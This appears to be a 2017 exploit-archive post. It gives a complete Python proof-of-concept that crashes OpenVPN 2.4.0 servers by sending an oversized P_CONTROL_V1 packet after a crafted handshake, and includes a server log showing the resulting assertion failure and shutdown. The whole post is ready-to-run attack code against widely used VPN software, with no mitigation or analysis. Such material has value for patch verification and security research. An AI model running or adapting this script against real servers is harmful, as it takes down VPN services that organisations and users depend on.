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OpenVPN 2.4.0 Denial Of Service

Posted on 13 May 2017

#!/usr/bin/env python3
'''
$ ./dos_server.py &
$ sudo ./openvpn-2.4.0/src/openvpn/openvpn conf/server-tls.conf
...
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 TLS: Initial packet from [AF_INET]192.168.149.1:64249, sid=9a6c48a6 1467f5e1
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Assertion failed at ssl.c:3711 (buf_copy(in, buf))
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Exiting due to fatal error
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/route del -net 10.8.0.0 netmask 255.255.255.0
Fri Feb 24 10:19:19 2017 192.168.149.1:64249 Closing TUN/TAP interface Fri Feb 24 10:19:19 2017 192.168.149.1:64249 /sbin/ifconfig tun0 0.0.0.0
'''

import binascii
import os
import socket
from construct import *
HOST, PORT = "192.168.0.1", 1194

SessionID = Bytes(8)

PControlV1 = Struct(
"packet_id" / Int32ub,
"data" / GreedyBytes
)

PAckV1 = Struct(
"remote_session_id" / SessionID
)

PControlHardResetClientV2 = Struct(
"packet_id" / Int32ub
)

PControlHardResetServerV2 = Struct(
"remote_session_id" / SessionID,
"packet_id" / Int32ub
)

OpenVPNPacket = Struct(
EmbeddedBitStruct(
"opcode" / Enum(BitsInteger(5),
P_CONTROL_HARD_RESET_CLIENT_V1=1,
P_CONTROL_HARD_RESET_SERVER_V1=2,
P_CONTROL_HARD_RESET_CLIENT_V2=7,
P_CONTROL_HARD_RESET_SERVER_V2=8,
P_CONTROL_SOFT_RESET_V1=3,
P_CONTROL_V1=4,
P_ACK_V1=5,
P_DATA_V1=6),
"key_id" / BitsInteger(3)
),
"session_id" / SessionID,
"ack_packets" / PrefixedArray(Int8ub, Int32ub),
Embedded(Switch(this.opcode,
{
"P_CONTROL_V1": PControlV1,
"P_ACK_V1": PAckV1,
"P_CONTROL_HARD_RESET_CLIENT_V2": PControlHardResetClientV2,
"P_CONTROL_HARD_RESET_SERVER_V2": PControlHardResetServerV2
}))
)
def main():
session_id = os.urandom(8)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
reset_client = OpenVPNPacket.build({
"opcode": "P_CONTROL_HARD_RESET_CLIENT_V2",
"key_id": 0,
"session_id": session_id,
"ack_packets": [],
"packet_id": 0})

sock.sendto(reset_client, (HOST, PORT))

data, addr = sock.recvfrom(8192)
reset_server = OpenVPNPacket.parse(data)

remote_session_id = reset_server.session_id

# ack server packet
ack_packet = OpenVPNPacket.build({
"opcode": "P_ACK_V1",
"key_id": 0,
"session_id": session_id,
"ack_packets": [reset_server.packet_id],
"remote_session_id": remote_session_id
})
sock.sendto(ack_packet, (HOST, PORT))

control_packet = OpenVPNPacket.build({
"opcode": "P_CONTROL_V1",
"key_id": 0,
"session_id": session_id,
"ack_packets": [],
"packet_id": 1,
"data": b"a" * 2048})
sock.sendto(control_packet, (HOST, PORT))

if __name__ == '__main__':
main()

 

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